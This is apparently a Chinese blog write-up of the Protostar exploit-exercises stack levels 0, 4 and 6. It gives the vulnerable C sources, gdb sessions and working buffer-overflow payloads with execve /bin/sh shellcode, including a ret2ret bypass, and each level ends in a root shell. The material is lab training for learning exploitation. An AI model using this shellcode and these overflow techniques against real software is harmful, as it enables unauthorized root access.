Exploit Exercises - Protostar Stack

这个网站是http://exploit-exercises.com/protostar。

Stack 0:

 #include <stdlib.h>
 #include <unistd.h>
 #include <stdio.h>
 
 int main(int argc, char **argv)
 {
   volatile int modified;
   char buffer[64];
 
  modified = 0;
  gets(buffer);

  if(modified != 0) {
    printf("you have changed the 'modified' variable\n");
  } else {
    printf("Try again?\n");
  }
}

直接输入65个A就可以了。

$ python -c 'print "A"*65'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you have changed the 'modified' variable
$ 


Stack 4:(下面的方法还可以用于stack5)

#include <stdlib.h>
 #include <unistd.h>
 #include <stdio.h>
 #include <string.h>
 
 void win()
 {
   printf("code flow successfully changed\n");
 }

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

用的shellcode是网上找的:

\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

下面是过程:

$ python -c "print '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/shellcode.bin
$ cat /tmp/shellcode.bin
1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ

$ export export SHELLCODE=$(perl -e 'print "\x90"x200')^C
$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat /tmp/shellcode.bin)
$ env
USER=user
MAIL=/var/mail/user
OLDPWD=/opt/protostar
HOME=/home/user
LOGNAME=user
TERM=xterm
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/opt/protostar/bin
SHELLCODE=��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ

$ python -c 'print "A"*76 + "\x5a\xff\xff\xbf"' | ./stack4   
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
# whoani
/bin//sh: whoani: not found
# whoami
root

上面的那个返回地址是由下面算出的,就是找到shellcode的环境变量前面的那个地址0xbffffecf,因为加了200个nop,直接取这中间的一个就可以,我是加了119就得到上面那个返回地址了。

$ gdb ./stack4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) break main
Breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.
(gdb) run
Starting program: /opt/protostar/bin/stack4 

Breakpoint 1, main (argc=1, argv=0xbffffcd4) at stack4/stack4.c:15
15	stack4/stack4.c: No such file or directory.
	in stack4/stack4.c
(gdb) i r esp
esp            0xbffffbd0	0xbffffbd0
(gdb) x/24s $esp+0x240
0xbffffe10:	 "r"
0xbffffe12:	 "HOME=/home/user"
0xbffffe22:	 "OLDPWD=/opt/protostar"
0xbffffe38:	 "LOGNAME=user"
0xbffffe45:	 "COLUMNS=80"
0xbffffe50:	 "TERM=xterm"
0xbffffe5b:	 "PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
0xbffffe99:	 "LANG=en_US.UTF-8"
0xbffffeaa:	 "SHELL=/bin/sh"
0xbffffeb8:	 "PWD=/opt/protostar/bin"
0xbffffecf:	 "LINES=24"
0xbffffed8:	 "SHELLCODE=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"...
0xbfffffa0:	 "\220\220\220\220\220\220\220\220\220\220\061\300\061۰\006̀Sh---Type <return> to continue, or q <return> to quit---
/ttyh/dev\211\343\061\311f\271\022'\260\005̀1\300Ph//shh/bin\211\343PS\211ᙰ\v̀"
0xbfffffe2:	 "/opt/protostar/bin/stack4"
0xbffffffc:	 ""
0xbffffffd:	 ""
0xbffffffe:	 ""
0xbfffffff:	 ""

stack 6:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

这道题主要就是防止eip转到栈上去执行shell(环境变量也在栈上,上面的用环境变量来存储shellcode的方法也不行)。现在主要是绕过0xbf000000这个检测(linux下的栈都是0xbf开头)。

方法一:直接用getpath函数的最后一条指令ret来覆盖main函数的返回地址,弹出ret到eip时,会执行ret指令(ret的地址是0x08开头,可以绕过上面的限制),再弹出栈头的数据到eip,这时如果栈头是shellcode的地址,那么就溢出成功了。数据格式如下(shellcode address可以选择 \x90*20 靠中间的地址,这个成功概率更大):

JUNK*80 | ret address | shellcode adress | \x90 *32 | shellcode

(1) 先找到ret 的地址,直接gdb载入,反汇编getpath这个函数,可以看到ret的地址是0x080484f9

$ gdb stack6                                                 
GNU gdb (GDB) 7.0.1-debian
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) disassemble getpath 
Dump of assembler code for function getpath:
0x08048484 <getpath+0>:	push   %ebp
0x08048485 <getpath+1>:	mov    %esp,%ebp
0x08048487 <getpath+3>:	sub    $0x68,%esp
0x0804848a <getpath+6>:	mov    $0x80485d0,%eax
0x0804848f <getpath+11>:	mov    %eax,(%esp)
0x08048492 <getpath+14>:	call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:	mov    0x8049720,%eax
0x0804849c <getpath+24>:	mov    %eax,(%esp)
0x0804849f <getpath+27>:	call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:	lea    -0x4c(%ebp),%eax
0x080484a7 <getpath+35>:	mov    %eax,(%esp)
0x080484aa <getpath+38>:	call   0x8048380 <gets@plt>
0x080484af <getpath+43>:	mov    0x4(%ebp),%eax
0x080484b2 <getpath+46>:	mov    %eax,-0xc(%ebp)
0x080484b5 <getpath+49>:	mov    -0xc(%ebp),%eax
0x080484b8 <getpath+52>:	and    $0xbf000000,%eax
0x080484bd <getpath+57>:	cmp    $0xbf000000,%eax
0x080484c2 <getpath+62>:	jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:	mov    $0x80485e4,%eax
0x080484c9 <getpath+69>:	mov    -0xc(%ebp),%edx
0x080484cc <getpath+72>:	mov    %edx,0x4(%esp)
0x080484d0 <getpath+76>:	mov    %eax,(%esp)
0x080484d3 <getpath+79>:	call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:	movl   $0x1,(%esp)
0x080484df <getpath+91>:	call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:	mov    $0x80485f0,%eax
0x080484e9 <getpath+101>:	lea    -0x4c(%ebp),%edx
0x080484ec <getpath+104>:	mov    %edx,0x4(%esp)
0x080484f0 <getpath+108>:	mov    %eax,(%esp)
0x080484f3 <getpath+111>:	call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:	leave  
0x080484f9 <getpath+117>:	ret    
End of assembler dump.
(gdb) 
(2) 查看返回地址

$ gdb stack6
GNU gdb (GDB) 7.0.1-debian
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) break *getpath+43
Breakpoint 1 at 0x80484af: file stack6/stack6.c, line 15.
(gdb) run
Starting program: /opt/protostar/bin/stack6 
input path please: aaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, getpath () at stack6/stack6.c:15
15	stack6/stack6.c: No such file or directory.
	in stack6/stack6.c
(gdb) x/32x $esp
0xbffffc20:	0xbffffc3c	0x00000000	0xb7fe1b28	0x00000001
0xbffffc30:	0x00000000	0x00000001	0xb7fff8f8	0x61616161
0xbffffc40:	0x61616161	0x61616161	0x61616161	0x61616161
0xbffffc50:	0x61616161	0x08040061	0xbffffc68	0x0804835c
0xbffffc60:	0xb7ff1040	0x080496ec	0xbffffc98	0x08048539
0xbffffc70:	0xb7fd8304	0xb7fd7ff4	0x08048520	0xbffffc98
0xbffffc80:	0xb7ec6365	0xb7ff1040	0xbffffc98	0x08048505
0xbffffc90:	0x08048520	0x00000000	0xbffffd18	0xb7eadc76
(gdb) disassemble main
Dump of assembler code for function main:
0x080484fa <main+0>:	push   %ebp
0x080484fb <main+1>:	mov    %esp,%ebp
0x080484fd <main+3>:	and    $0xfffffff0,%esp
0x08048500 <main+6>:	call   0x8048484 <getpath>
0x08048505 <main+11>:	mov    %ebp,%esp
0x08048507 <main+13>:	pop    %ebp
0x08048508 <main+14>:	ret    
End of assembler dump.
(gdb) p 0xbffffc8c-0xbffffc3c
$1 = 80
(gdb) 


(3) 这里要用coredump来查看相应的地址,不要在gdb中查看。

ulimit -c unlimited                 不限制core文件的大小
cat /proc/sys/kernel/core_pattern   查看core文件位置与格式
echo 1 > /proc/sys/fs/suid_dumpable 设置生成core文件

上面就是设置coredump。接下来查看core文件

$ python -c "print 'A'*80+'X'*4" | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXAAAAAAAAAAAAXXXX
Segmentation fault (core dumped)
$ gdb -q -c /tmp/core.11.stack6.28688
Core was generated by `./stack6'.
Program terminated with signal 11, Segmentation fault.
#0  0x58585858 in ?? ()
(gdb) i esp      
Undefined info command: "esp".  Try "help info".
(gdb) i r esp
esp            0xbffffcc0	0xbffffcc0
(gdb) x/32x $esp-100
0xbffffc5c:	0x00000001	0x00000000	0x00000001	0xb7fff8f8
0xbffffc6c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc7c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc8c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc9c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffcac:	0x58585858	0x41414141	0x41414141	0x41414141
0xbffffcbc:	0x58585858	0x08048500	0x00000000	0xbffffd48
0xbffffccc:	0xb7eadc76	0x00000001	0xbffffd74	0xbffffd7c
(gdb) 

从上面看到返回地址是0xbffffcbc,现在来构造数据

'A'*80 + '\xf9\x84\x04\x08'+'\xc6\xfc\xff\xbf'+'\x90'*20 + shellcode
shellcode直接用上面的那个:

$ python -c "print 'A'*80 + '\xf9\x84\x04\x08'+'\xc6\xfc\xff\xbf'+'\x90'*20 +                      '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/                              dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/    bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' " | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��������������������������1�1۰̀Sh/ttyh/                              dev��1�f�'�̀1�Ph//shh/    bin��PS�ᙰ

Segmentation fault (core dumped)
$ python -c "print 'A'*80 + '\xf9\x84\x04\x08'+'\xc6\xfc\xff\xbf'+'\x90'*20 +  '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" |./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��������������������������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
# whoami
# root





  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值